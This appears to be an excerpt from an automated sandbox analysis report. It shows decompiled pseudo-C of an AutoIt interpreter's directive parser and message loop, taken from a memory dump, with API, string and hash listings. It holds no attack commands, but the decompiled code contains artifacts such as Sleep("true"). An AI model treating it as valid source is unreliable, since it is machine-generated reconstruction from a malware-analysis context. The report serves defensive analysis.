											if(__eflags == 0) {
												L28:
												_t117 = _a12;
												_a4 = 1;
												while(1) {
													_t51 = E00F4FD26(__eflags, _a16, _t120); // executed
													__eflags = _t51;
													if(__eflags == 0) {
														break;
													}
													 *_t117 =  *_t117 + 1;
													E00F24AA0(_t98, __eflags, _t120);
													E00F24A44(_t98, _t120);
													_t58 = E00EF333F(_t120, L"#comments-start", 0xf);
													_t130 = _t130 + 0xc;
													__eflags = _t58;
													if(__eflags == 0) {
														L36:
														_a4 = _a4 + 1;
														continue;
													}
													_t59 = E00EF333F(_t120, L"#cs", 3);
													_t130 = _t130 + 0xc;
													__eflags = _t59;
													if(__eflags == 0) {
														goto L36;
													}
													_t60 = E00EF333F(_t120, L"#comments-end", 0xd);
													_t130 = _t130 + 0xc;
													__eflags = _t60;
													if(_t60 == 0) {
														L34:
														_t62 = _a4 - 1;
														_a4 = _t62;
														__eflags = _t62;
														if(__eflags > 0) {
															continue;
														}
														return 1;
													}
													_t64 = E00EF333F(_t120, L"#ce", 3);
													_t130 = _t130 + 0xc;
													__eflags = _t64;
													if(__eflags != 0) {
														continue;
													}
													goto L34;
												}
												__eflags = _a4;
												if(__eflags <= 0) {
													L5:
													return 1;
												}
												E00F33F89(__eflags, _t134, _t96, _a8,  *_t117, L"Unterminated group of comments", _t120);
												return 0;
											}
											_t65 = E00EF333F(_t120, L"#cs", 3);
											_t130 = _t130 + 0xc;
											__eflags = _t65;
											if(__eflags != 0) {
												goto L5;
											}
											goto L28;
										}
										_push( &_v8196);
										_push(_t120 + 0x10);
										_push(_t96);
										_t67 = E00F24AE1();
										_t101 = _a8;
										__eflags = _t67 - 1;
										_t68 =  *_a12;
										if(__eflags != 0) {
											E00F33F89(__eflags, __fp0, _t96, _t101, _t68, L"Cannot parse #include", _t120);
											return 0;
										}
										_push(_t68);
										_push(_t120);
										_push(_t101);
										_push(E00EEF290(_t96,  &_v8196, _t116));
										_push( &_v8196);
										_push(_t96);
										_t72 = E00EE35F0( &_v8196, __fp0);
										__eflags = _t72;
										return 0 | _t72 != 0x00000000;
									}
									__eflags =  *((intOrPtr*)(_t96 + 0x20)) - _t48;
									if( *((intOrPtr*)(_t96 + 0x20)) <= _t48) {
										goto L5;
									}
									_t121 = 0;
									__eflags = 0;
									while(1) {
										_t76 = E00EF13CB(_t116,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x1c)) + _t121 * 4)))), _a8);
										_t128 = _t128 + 8;
										__eflags = _t76;
										if(_t76 == 0) {
											break;
										}
										_t121 = _t121 + 1;
										__eflags = _t121 -  *((intOrPtr*)(_t96 + 0x20));
										if(_t121 <  *((intOrPtr*)(_t96 + 0x20))) {
											continue;
										}
										return 1;
									}
									__eflags =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x2c)) + _t121 * 4)))) - 1;
									return ((0 |  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x2c)) + _t121 * 4)))) - 0x00000001 <= 0x00000000) - 0x00000001 & 0x00000003) + 1;
								}
								_t122 = E00EEF260(_t120 + 0x2c, __eflags);
								E00F24A44(_t98, _t122);
								E00F24AA0(_t98, __eflags, _t122);
								_t86 = E00EF10E1(_t122);
								__eflags =  *((short*)(_t122 + _t86 * 2 - 2)) - 0x22;
								if( *((short*)(_t122 + _t86 * 2 - 2)) != 0x22) {
									_push(_t122);
								} else {
									_t8 = _t122 + 2; // 0x2
									_t119 = _t8;
									 *((short*)(_t122 + _t86 * 2 - 2)) = 0;
									E00F24A44(0, _t119);
									E00F24AA0(0, __eflags, _t119);
									_push(_t119);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t96 + 4)))) + 8))))();
								_push(_t122);
								E00EF10FC();
								return 1;
							}
							 *((char*)(_t96 + 2)) = 1;
							return 1;
						}
						 *((char*)(_t96 + 1)) = 1;
						return 1;
					}
					 *_t96 = 1;
					goto L5;
				}
				return 3;
			}

APIs

__wcsnicmp.LIBCMT ref: 00F08392

Strings

#notrayicon, xrefs: 00F0838A
#comments-start, xrefs: 00F08535, 00F08587
#requireadmin, xrefs: 00F083AD
#cs, xrefs: 00F08549, 00F0859B
#OnAutoItStartRegister, xrefs: 00F083F1
#include, xrefs: 00F084C5
Unterminated group of comments, xrefs: 00F08602
#ce, xrefs: 00F085C3
#NoAutoIt3Execute, xrefs: 00F083CF
#include-once, xrefs: 00F08465
#comments-end, xrefs: 00F085AF
Cannot parse #include, xrefs: 00F0851F

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 0000000B.00000002.718971814.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718989679.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.719007545.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
API String ID: 1038674560-3360698832
Opcode ID: 1383955a191fd45aa8d1f8aee46b5647e3ef3b3ebca145ade87929c2364f061b
Instruction ID: daa2d534cea6edea11c03d2c9610d352b75a72609ea2c383e2cc3bdfb393b5bb
Opcode Fuzzy Hash: 1383955a191fd45aa8d1f8aee46b5647e3ef3b3ebca145ade87929c2364f061b
Instruction Fuzzy Hash: 8661F971B41719A7E720EA30DC42FAB73989F14B50F145024FD45BB182EFB5EA42B6A2

Uniqueness

Uniqueness Score: -1.00%

Function 00EE9430, Relevance: 44.6, APIs: 22, Strings: 3, Instructions: 837
windowsleepCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00EE9430(struct tagMSG* __ecx, struct tagMSG* __edx, void* __fp0, signed int _a4) {
				struct tagMSG _v32;
				char _v48;
				char _v64;
				char _v80;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				intOrPtr _v152;
				int _v156;
				char _v164;
				struct tagMSG _v188;
				struct HWND__* _v192;
				int _v196;
				struct HWND__* _v204;
				char _v208;
				struct HWND__* _v220;
				struct tagMSG _v244;
				char _v248;
				char _v252;
				long _v256;
				long _v260;
				struct HWND__* _v264;
				int _v268;
				struct HWND__* _v272;
				signed int _v276;
				char _v277;
				char _v288;
				int _v292;
				struct HWND__* _v300;
				struct HWND__* _v304;
				struct HWND__* _v308;
				struct tagMSG* _v312;
				char _v316;
				long _v324;
				signed int _v328;
				char _v329;
				struct HWND__* _v332;
				struct tagMSG* _v336;
				void* __ebx;
				void* __edi;
				signed int __esi;
				intOrPtr _t280;
				int _t282;
				intOrPtr _t283;
				struct tagMSG* _t285;
				struct HWND__* _t291;
				struct HWND__* _t295;
				intOrPtr* _t297;
				struct HWND__* _t299;
				struct HWND__* _t302;
				struct HWND__* _t307;
				struct HWND__* _t329;
				struct HWND__* _t331;
				struct HWND__* _t336;
				struct HWND__* _t337;
				struct HWND__* _t338;
				struct HWND__* _t342;
				struct HWND__* _t347;
				void* _t349;
				struct HWND__* _t355;
				struct tagMSG* _t358;
				long _t359;
				void* _t368;
				void* _t379;
				void* _t380;
				struct tagMSG* _t384;
				signed int _t385;
				void* _t400;
				signed int _t403;
				void* _t405;
				int _t406;
				void* _t407;
				struct HWND__* _t414;
				int _t415;
				struct HWND__* _t417;
				struct HWND__* _t423;
				intOrPtr _t431;
				struct HWND__* _t437;
				struct HWND__* _t442;
				intOrPtr _t460;
				void* _t462;
				struct tagMSG* _t467;
				signed int _t480;
				struct tagMSG* _t511;
				signed int _t545;
				void* _t549;
				struct tagMSG** _t552;
				struct HWND__** _t553;
				struct tagMSG* _t560;
				struct HWND__* _t564;
				struct HWND__* _t565;
				signed int _t566;
				signed int _t570;
				struct HWND__** _t572;
				void* _t598;

				_t606 = __fp0;
				_t511 = __edx;
				_t471 = __ecx;
				_t572 = (_t570 & 0xfffffff8) - 0x14c;
				_t533 = __ecx;
				_t280 =  *((intOrPtr*)(__ecx + 0xec));
				if(_t280 >= 0xf3c) {
					 *0xf774e2 = 0;
					E00F3E724(__fp0, __ecx, 0x9a, 0xffffffff);
					_t282 = 1;
					L33:
					return _t282;
				}
				_t283 = _t280 + 1;
				_v312 = __ecx;
				 *((intOrPtr*)(__ecx + 0xec)) = _t283;
				if(_t283 == 1) {
					E00EEFFF0(__ecx, __fp0);
				}
				_t533[0x51] = 0;
				if(_t533[0x3f] != 0) {
					L30:
					_t285 = _t533[0x3b];
					_t533[0x51] = 0;
					if(_t285 == 1) {
						E00EEFF70(_t471, _t533);
						__eflags = _t533[0x3f] - 1;
						if(__eflags == 0) {
							goto L32;
						}
						E00EE1C50(_t533, _t511, __eflags, _t606);
						LockWindowUpdate(0);
						DestroyWindow( *0xf77518); // executed
						_t291 = GetMessageW( &_v32, 0, 0, 0);
						__eflags = _t291;
						if(_t291 <= 0) {
							goto L32;
						}
						do {
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
							_t295 = GetMessageW( &_v32, 0, 0, 0);
							__eflags = _t295;
						} while (_t295 > 0);
						goto L32;
					} else {
						_t533[0x3b] = _t285 - 1;
						L32:
						_t282 = 0;
						goto L33;
					}
				} else {
					while(_t533[0x51] == 0) {
						if( *0xf774e3 != 0) {
							L10:
							if( *0xf88624 != 0) {
								_t297 =  *0xf88628; // 0x0
								_t460 =  *_t297;
								E00F11D6C();
								_t299 = _t533[0x6c];
								_t545 = 0;
								__eflags = _t299;
								if(_t299 == 0) {
									L80:
									__eflags = _t545 - _t299;
									if(__eflags == 0) {
										goto L11;
									}
									E00F44D61( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t533[0x6b] + _t545 * 4)))) + 8)),  *((intOrPtr*)(_t533[0x6b] + _t545 * 4)), __eflags, _t533,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t533[0x6b] + _t545 * 4)))) + 8)),  &_v252,  &_v112,  &_v100,  &_v136);
									_t511 = _t533[0x6b];
									_t471 =  *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18;
									_v276 =  &(_v276->i);
									E00EEDE00( &(_t533[0x53]),  *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18);
									E00F5D2F8( *((intOrPtr*)( *((intOrPtr*)(_t511 + _t545 * 4)))) + 0x18, _t511, _t606, _t533,  &(_v276->i), 1, 0);
									L29:
									if(_t533[0x3f] == 0) {
										continue;
									}
									goto L30;
								}
								_t471 = _t533[0x6b];
								do {
									_t511 = _t471->hwnd;
									__eflags = _t511->hwnd;
									if(_t511->hwnd == 0) {
										goto L79;
									}
									_t511 = _t511->hwnd;
									__eflags = _t511->hwnd - _t460;
									if(_t511->hwnd == _t460) {
										goto L80;
									}
									L79:
									_t545 = _t545 + 1;
									_t471 =  &(_t471->message);
									__eflags = _t545 - _t533[0x6c];
								} while (_t545 < _t533[0x6c]);
								goto L80;
							}
							L11:
							if( *0xf774ec == 1) {
								__eflags =  *0xf774e3;
								if( *0xf774e3 != 0) {
									goto L12;
								}
								Sleep("true");
								goto L29;
							}
							L12:
							if(_t533[0x118] != 0) {
								__eflags =  *0xf8954c;
								if( *0xf8954c != 0) {
									goto L13;
								}
								_t467 = _t533[0x116];
								 *0xf8954c = 1;
								_v308 = 0;
								_v328 = _t467;
								while(1) {
									_t511 =  &_v328;
									 *_t572 = 0;
									_t329 = E00F207BC(_t511, _t471);
									__eflags = _t329;
									if(_t329 == 0) {
										goto L93;
									}
									_t347 = _t467->hwnd;
									__eflags =  *((char*)(_t347 + 0x11));
									if( *((char*)(_t347 + 0x11)) != 0) {
										L92:
										_t471 =  &_v324;
										E00F207CE( &_v328,  &_v324);
										_t467 = _v336;
										continue;
									}
									_v324 = _t347;
									_t349 = E00EEC870( *((intOrPtr*)(_t347 + 0x14)));
									__eflags = _t511;
									if(__eflags < 0) {
										goto L92;
									}
									if(__eflags > 0) {
										L91:
										_v308 =  &(_v308->i);
										 *((intOrPtr*)(_t467->hwnd + 0x14)) = timeGetTime();
										E00F44D61(_t467,  &_v248, __eflags, _t533, _t467,  &_v248,  &_v128,  &_v144,  &_v140);
										_t355 =  &(_v272->i);
										__eflags = _t355;
										_v272 = _t355;
										 *((char*)(_t467->hwnd + 0x10)) = 1;
										E00F5D2F8(_t467, _t467->hwnd, _t606, _t533, _t355, 1, 0);
										 *((char*)(_t467->hwnd + 0x10)) = 0;
										goto L92;
									}
									__eflags = _t349 -  *((intOrPtr*)(_v324 + 0x18));
									if(__eflags < 0) {
										goto L92;
									}
									goto L91;
								}
								while(1) {
									L93:
									_v328 = _t533[0x116];
									while(1) {
										L94:
										_t471 =  &_v328;
										 *_t572 = 0;
										_t331 = E00F207BC( &_v328,  &_v328);
										__eflags = _t331;
										if(_t331 == 0) {
											break;
										}
										_t511 = _v328;
										_t342 = _t511->hwnd;
										__eflags =  *((char*)(_t342 + 0x11));
										if( *((char*)(_t342 + 0x11)) != 0) {
											E00F32129( &(_t533[0x116]),  &_v328);
											L93:
											_v328 = _t533[0x116];
											continue;
										}
										_t471 =  &_v324;
										_t511 =  &_v328;
										E00F207CE(_t511,  &_v324);
									}
									__eflags = _v308;
									 *0xf8954c = 0;
									if(_v308 > 0) {
										goto L29;
									}
									goto L13;
								}
							}
							L13:
							if( *0xf8863c != 0) {
								__eflags = _t533[0x119] - 1;
								if(_t533[0x119] == 1) {
									goto L14;
								}
								__eflags =  *0xf88668 - 1;
								if( *0xf88668 == 1) {
									goto L14;
								}
								E00F27DD1( &_v244);
								while(1) {
									_t511 =  &_v244;
									_t302 = E00F31700(0xf88630, _t511);
									__eflags = _t302;
									if(_t302 == 0) {
										break;
									}
									__eflags = E00F14A5A( &(_v244.message));
									if(__eflags != 0) {
										continue;
									}
									_t307 = E00F44D61( &_v208, _v244.message, __eflags, _t533, _v244.message,  &_v208,  &_v132,  &_v120,  &_v104);
									__eflags = _t307;
									if(_t307 == 0) {
										continue;
									}
									_v300 = 0;
									_v292 = 1;
									_v288 = 0;
									E00EE9190(1,  &_v300);
									_v292 = 1;
									_v300 = _v244.hwnd;
									E00EE1D10(L"@GUI_CTRLID",  &_v96, __eflags);
									E00EE1BE0(2, 1,  &_v300,  &_v96);
									E00EE2480( &_v96);
									E00EE9190(L"@GUI_CTRLID",  &_v300);
									_v292 = 7;
									_v300 = _v244.pt;
									E00EE1D10(L"@GUI_WINHANDLE",  &_v64, __eflags);
									E00EE1BE0(2, 1,  &_v300,  &_v64);
									E00EE2480( &_v64);
									E00EE9190(L"@GUI_WINHANDLE",  &_v300);
									_t536 = L"@GUI_CTRLHANDLE";
									_t559 =  &_v48;
									_v292 = 7;
									_v300 = _v220;
									E00EE1D10(L"@GUI_CTRLHANDLE",  &_v48, __eflags);
									_t511 =  &_v300;
									E00EE1BE0(2, 1, _t511,  &_v48);
									E00EE2480( &_v48);
									_t560 = _v312;
									 *((char*)(_t560 + 0x464)) = 1;
									E00F5D2F8(_t559, _t511, _t606, _t560, _v208 + 1, 1, 0);
									 *((char*)(_t560 + 0x464)) = 0;
									_t553 =  &_v316;
									L108:
									E00EE9190(_t536, _t553);
									_t471 =  &(_v244.message);
									E00EE2480( &(_v244.message));
									_t533 = _v312;
									goto L29;
								}
								_t471 =  &(_v244.message);
								E00EE2480( &(_v244.message));
							}
							L14:
							if(E00EE9400(_t511, _t606, _t533) == 1) {
								goto L29;
							}
							if( *0xf887b0 != 0) {
								__eflags = _t533[0x119] - 1;
								if(_t533[0x119] == 1) {
									goto L16;
								}
								E00F27DD1( &_v244);
								while(1) {
									_t511 =  &_v244;
									_t437 = E00F33B3B(0xf88710, _t511);
									__eflags = _t437;
									if(_t437 == 0) {
										break;
									}
									__eflags = E00F14A5A( &(_v244.message));
									if(__eflags != 0) {
										continue;
									}
									_t442 = E00F44D61( &(_v188.pt), _v244.message, __eflags, _t533, _v244.message,  &(_v188.pt),  &_v108,  &_v124,  &_v116);
									__eflags = _t442;
									if(_t442 == 0) {
										continue;
									}
									_v204 = 0;
									_v196 = 1;
									_v192 = 0;
									E00EE9190(1,  &_v204);
									_v196 = 1;
									_t536 = L"@TRAY_ID";
									_v204 = _v244.hwnd;
									E00EE1D10(L"@TRAY_ID",  &_v80, __eflags);
									_t511 =  &_v204;
									E00EE1BE0(2, 1, _t511,  &_v80);
									E00EE2480( &_v80);
									_t552 = _v312;
									__eflags = _v188.pt + 1;
									_t552[0x119] = 1;
									E00F5D2F8(_v188.pt + 1, _t511, _t606, _t552, _v188.pt + 1, 1, 0);
									_t552[0x119] = 0;
									_t553 =  &_v220;
									goto L108;
								}
								_t471 =  &(_v244.message);
								E00EE2480( &(_v244.message));
							}
							L16:
							_t358 = _t533[0x3e];
							if(_t358 == 7) {
								_t511 = _t533[0x114];
								_t359 = WaitForSingleObject(_t511, "true");
								_v256 = _t359;
								__eflags = _t359 - 0x102;
								if(_t359 != 0x102) {
									GetExitCodeProcess(_t533[0x114],  &_v256);
									_t511 = _t533[0x114];
									CloseHandle(_t511);
									_v324 = _v256;
									_t471 = _t533 +  *_t533->message;
									E00EED620( &_v324, _t533 +  *_t533->message);
									_t533[0x51] = 1;
									_t533[0x3e] = 0;
								}
								goto L29;
							}
							if(_t358 == 8 || _t358 == 9) {
								Sleep("true");
								__eflags = _t533[0x112];
								if(_t533[0x112] == 0) {
									__eflags = 0;
									L127:
									_t511 = _t533[0x10e];
									_t471 =  &_v304;
									E00F23C1D(_t511,  &_v304,  &_v329);
									_t572 =  &(_t572[3]);
									__eflags = _t533[0x3e] - 9;
									if(_t533[0x3e] != 9) {
										__eflags = _v329 - 1;
										if(_v329 != 1) {
											goto L29;
										}
										_t462 = 0;
										__eflags = 0;
										L133:
										_t368 = _t533[0x115];
										_v260 = 0xcccccccc;
										__eflags = _t368 - _t462;
										if(_t368 != _t462) {
											GetExitCodeProcess(_t368,  &_v260);
											CloseHandle(_t533[0x115]);
											_t533[0x115] = _t462;
										}
										__eflags = _t533[0x3e] - 8;
										if(_t533[0x3e] != 8) {
											_t511 =  *_t533;
											_t471 = _v260;
											__eflags = _t533 + _t511->message;
											E00EE3F00(_t533 + _t511->message, _v260, _t462);
										} else {
											asm("fild dword [esp+0x2c]");
											__eflags = _v304;
											if(_v304 < 0) {
												_t606 = _t606 +  *0xf6cd00;
											}
											_t511 =  *_t533;
											_v324 = _t606;
											_t471 =  &_v324;
											E00F3742B(_t533 + _t511->message,  &_v324);
										}
										_t533[0x51] = 1;
										_t533[0x3e] = _t462;
										Sleep(_t533[0xbd]);
										goto L29;
									}
									__eflags = _v329;
									if(_v329 != 0) {
										_v329 = 0;
										goto L29;
									}
									_v329 = 1;
									goto L133;
								}
								_t379 = E00EEC870(_t533[0x113]);
								_t462 = 0;
								__eflags = _t511;
								if(__eflags < 0) {
									goto L127;
								}
								if(__eflags > 0) {
									L123:
									_t380 = _t533[0x115];
									__eflags = _t380 - _t462;
									if(_t380 != _t462) {
										CloseHandle(_t380);
										_t533[0x115] = _t462;
									}
									_t511 =  *_t533;
									_t471 = _t533 + _t511->message;
									_v324 = _t462;
									E00EED620( &_v324, _t533 + _t511->message);
									goto L66;
								}
								__eflags = _t379 - _t533[0x112];
								if(_t379 < _t533[0x112]) {
									goto L127;
								}
								goto L123;
							} else {
								if(_t358 == 2 || _t358 == 3 || _t358 == 4 || _t358 == 5 || _t358 == 6) {
									Sleep("true"); // executed
									__eflags = _t533[0xbc];
									if(_t533[0xbc] == 0) {
										L56:
										_t384 = _t533[0x3e];
										__eflags = _t384 - 3;
										if(_t384 < 3) {
											goto L29;
										}
										_t385 = _t384 - 3;
										__eflags = _t385 - 3;
										if(__eflags > 0) {
											goto L29;
										} else {
											switch( *((intOrPtr*)(_t385 * 4 +  &M00F0E113))) {
												case 0:
													__eax = E00F4F356(__ecx, __fp0, __edi, 1);
													goto L149;
												case 1:
													__eax = E00F4F356(__ecx, __fp0, __edi, 1);
													__esi = __eax;
													__eflags = __esi;
													if(__eflags < 0) {
														goto L150;
													}
													if(__eflags <= 0) {
														goto L153;
													}
													goto L29;
												case 2:
													_t386 = E00F4FD79(__eflags, _t606, _t533);
													L149:
													_t547 = _t386;
													__eflags = _t547;
													if(__eflags >= 0) {
														goto L151;
													}
													goto L150;
												case 3:
													__eax = E00F4FD79(__eflags, __fp0, __edi);
													__esi = __eax;
													__eflags = __esi;
													if(__eflags < 0) {
														L150:
														_t511 =  ~_t547;
														E00EE3EC0(_t533 +  *_t533->message, _t511, 0);
														_t471 = _t533 +  *_t533->message;
														_v332 = 0;
														E00EED620( &_v332, _t533 +  *_t533->message);
														__eflags = _t547;
														L151:
														if(__eflags == 0) {
															goto L29;
														}
														__eflags = _t547;
														if(_t547 <= 0) {
															L156:
															_push(_t533[0xbd]);
															_t533[0x51] = 1;
															_t533[0x3e] = 0;
															E00F13187(_t533[0xbd], _t606);
															_t572 =  &(_t572[1]);
															goto L29;
														}
														L153:
														_t389 = _t533[0x3e];
														__eflags = _t389 - 5;
														if(_t389 == 5) {
															L155:
															_v188.hwnd = 0;
															_v188.wParam = 1;
															_v188.lParam = 0;
															E00EE9190(_t533,  &_v188);
															_t471 =  *_t533;
															_t511 = _t533 +  *_t533->message;
															__eflags = _t511;
															_v188.wParam = 7;
															_v188 =  *(_t533[0x76]);
															E00F5319B( *_t533, _t511,  &_v188, 0);
															E00EE9190(_t533,  &_v188);
															goto L156;
														}
														__eflags = _t389 - 3;
														if(_t389 != 3) {
															goto L156;
														}
														goto L155;
													}
													if(__eflags > 0) {
														goto L29;
													}
													goto L153;
											}
										}
										while(1) {
											L58:
											__eflags = _v244.message - 0x12;
											if(_v244.message == 0x12) {
												break;
											}
											_t471 = 0xf88630;
											_t336 = E00EED3E0(0xf88630,  &_v244);
											__eflags = _t336;
											if(_t336 == 0) {
												_t338 = E00EED400(0xf88630,  &_v244);
												__eflags = _t338;
												if(_t338 == 0) {
													TranslateMessage( &_v244);
													_t471 =  &_v244;
													DispatchMessageW( &_v244); // executed
												}
											}
											_t511 =  &_v244;
											_t337 = PeekMessageW(_t511, 0, 0, 0, 1);
											__eflags = _t337;
											if(_t337 == 0) {
												L8:
												if( *0xf774e6 == 1) {
													 *0xf774ec = 0;
													 *0xf774e6 = 0;
													_t533[0x3e] = 1;
												}
												if(_t533[0x3e] == 1) {
													_t471 = _t533 +  *_t533->message;
													_v304 = 0;
													E00EED620( &_v304, _t533 +  *_t533->message);
													goto L30;
												} else {
													goto L10;
												}
											} else {
												continue;
											}
										}
										_t533[0x3f] = 1;
										_t533[0x3e] = 1;
										goto L8;
									}
									_t400 = E00EEC870(_t533[0xbe]);
									_t471 = 0;
									__eflags = _t511;
									if(__eflags < 0) {
										goto L56;
									}
									_t462 = 0;
									if(__eflags > 0) {
										L65:
										__eflags = _t533[0x3e] - 2;
										if(_t533[0x3e] != 2) {
											_t471 = _t533 +  *_t533->message;
											_v324 = _t462;
											E00EED620( &_v324, _t533 +  *_t533->message);
										}
										L66:
										_t533[0x51] = 1;
										_t533[0x3e] = _t462;
										goto L29;
									}
									__eflags = _t400 - _t533[0xbc];
									if(_t400 >= _t533[0xbc]) {
										goto L65;
									}
									goto L56;
								} else {
									_t480 = _a4;
									_t533[0x3d] = _t480;
									_t403 = _t480;
									_t471 = _t480 + 1;
									_a4 = _t480 + 1;
									_t598 = _t403 -  *0xf890f8; // 0x0
									if(_t598 > 0 || _t403 <= 0) {
										L160:
										_t533[0x3e] = 1;
										goto L29;
									} else {
										_t405 = (_t403 << 4) +  *0xf8912c;
										if(_t405 == 0) {
											goto L160;
										}
										_t549 = _t405;
										_t471 =  *(_t549 + 4);
										_v328 = 0;
										_t511 =  *( *(_t549 + 4));
										_t406 = _t511->wParam;
										if(_t406 != 0) {
											__eflags = _t406 - 0x34;
											if(__eflags != 0) {
												_t407 = _t406 - 1;
												__eflags = _t407 - 0x7e;
												if(_t407 > 0x7e) {
													L166:
													_t511 = _t511->wParam;
													E00F3E724(_t606, _t533, 0x1388, _t511);
													goto L29;
												}
												switch( *((intOrPtr*)(( *(_t407 + 0xee9864) & 0x000000ff) * 4 +  &M00EE9850))) {
													case 0:
														__eax = 0;
														__ecx =  &_v164;
														_v164 = 0;
														_v152 = 0;
														__eax =  &_v328;
														__edx = __esi;
														__ebx = __edi;
														_v156 = 1;
														__eax = E00EE8F10( &_v328, __ebx, __esi,  &_v164); // executed
														__eflags = __eax;
														if(__eax == 0) {
															__edx =  *(__esi + 4);
															__eax = _v328;
															__eax =  *( *(__esi + 4) + _v328 * 4);
															__eflags =  *((short*)(__eax + 8)) - 0x7f;
															if( *((short*)(__eax + 8)) != 0x7f) {
																__ecx =  *((short*)(__eax + 0xa));
																__eax = E00F3E724(__fp0, __edi, 0x72,  *((short*)(__eax + 0xa)));
															}
														}
														__esi =  &_v164;
														__eax = E00EE9190(__edi, __esi);
														goto L29;
													case 1:
														E00EE9210(_t549, _t606, _t533); // executed
														goto L29;
													case 2:
														__ebx = __edi + 0x488;
														__eax = E00F123E7(__ebx);
														__eflags = __al;
														if(__al != 0) {
															__eax =  &_v328;
															__eax = E00F5FA6A(__fp0, __edi, __esi,  &_v328, __ebx);
															__eflags = __eax;
															if(__eax != 0) {
																__ecx =  *(__esi + 4);
																__edx = _v328;
																__eax =  *( *(__esi + 4) + _v328 * 4);
																__ecx =  *((short*)( *( *(__esi + 4) + _v328 * 4) + 0xa));
																__eax = E00F3E724(__fp0, __edi, 0xaa,  *((short*)( *( *(__esi + 4) + _v328 * 4) + 0xa)));
															}
														} else {
															__edx =  *((short*)(__edx + 0xa));
															__eax = E00F3E724(__fp0, __edi, 0xa7, __edx);
														}
														goto L29;
													case 3:
														goto L29;
													case 4:
														goto L166;
												}
											}
											_t471 =  &_v276;
											_v276 = 0;
											_v268 = 1;
											_v264 = 0;
											_t414 = E00EE98F0( &_v328, __eflags, _t606, _t533, _t549,  &_v276,  &_v277); // executed
											__eflags = _t414;
											if(_t414 != 0) {
												L37:
												_t564 = _v264;
												__eflags = _t564;
												if(_t564 != 0) {
													 *( *(_t564 + 0xc)) =  *( *(_t564 + 0xc)) - 1;
													_t511 =  *(_t564 + 0xc);
													__eflags = _t511->hwnd;
													if(_t511->hwnd == 0) {
														_push(_t564->i);
														E00EF10FC();
														_t471 =  *(_t564 + 0xc);
														_push( *(_t564 + 0xc));
														E00EF10FC();
														_t572 =  &(_t572[2]);
													}
													_push(_t564);
													E00EF10FC();
													_t572 =  &(_t572[1]);
													_v264 = 0;
												}
												_t415 = _v268;
												__eflags = _t415 - 8;
												if(_t415 == 8) {
													_t565 = _v276;
													__eflags = _t565;
													if(_t565 != 0) {
														__imp__#9(_t565);
														_push(_t565);
														E00EF10FC();
														_t572 =  &(_t572[1]);
													}
												} else {
													__eflags = _t415 - 0xa;
													if(_t415 == 0xa) {
														_t417 = _v276;
														__eflags = _t417;
														if(_t417 != 0) {
															E00F230B0(_t417);
														}
													} else {
														__eflags = _t415 - 5;
														if(_t415 == 5) {
															E00EEE470( &_v276, _t564);
														} else {
															__eflags = _t415 - 0xb;
															if(_t415 == 0xb) {
																_t566 = _v276;
																_t511 =  *(_t566 + 4);
																_push(_t511);
																E00EF10FC();
																_push(_t566);
																E00EF10FC();
																_t572 =  &(_t572[2]);
															} else {
																__eflags = _t415 - 0xc;
																if(_t415 == 0xc) {
																	_t423 = _v276;
																	__eflags = _t423;
																	if(_t423 != 0) {
																		E00F2B350(_t423);
																	}
																}
															}
														}
													}
												}
												goto L29;
											}
											_t511 =  *(_t549 + 4);
											_t431 =  *((intOrPtr*)(_t511 + _v328 * 4));
											__eflags =  *((short*)(_t431 + 8)) - 0x7f;
											if( *((short*)(_t431 + 8)) != 0x7f) {
												_t471 =  *((short*)(_t431 + 0xa));
												E00F3E724(_t606, _t533, 0x72,  *((short*)(_t431 + 0xa)));
												E00EE9190(_t533,  &_v288);
												goto L29;
											}
											goto L37;
										} else {
											E00EEB1F0(_t606, _t533, _t549,  &_a4); // executed
											goto L29;
										}
									}
								}
							}
						}
						if( *0xf88668 != 0) {
							__eflags = _t533[0x3e];
							if(_t533[0x3e] == 0) {
								goto L10;
							}
						}
						if(PeekMessageW( &_v244, 0, 0, 0, 1) != 0) {
							goto L58;
						}
						goto L8;
					}
					goto L30;
				}
			}

APIs

PeekMessageW.USER32 ref: 00EE94B6
Sleep.KERNELBASE(?,?), ref: 00EE9721
TranslateMessage.USER32(?), ref: 00EE97A6
DispatchMessageW.USER32 ref: 00EE97B1
PeekMessageW.USER32 ref: 00EE97C4

Strings

@GUI_CTRLID, xrefs: 00F0DA4D
@GUI_WINHANDLE, xrefs: 00F0DA85
@GUI_CTRLHANDLE, xrefs: 00F0DAC8

Memory Dump Source

Source File: 0000000B.00000002.718835033.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 0000000B.00000002.718822004.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718905280.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.718932175.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.718946969.0000000000F71000.00000008.00020000.sdmp Download File
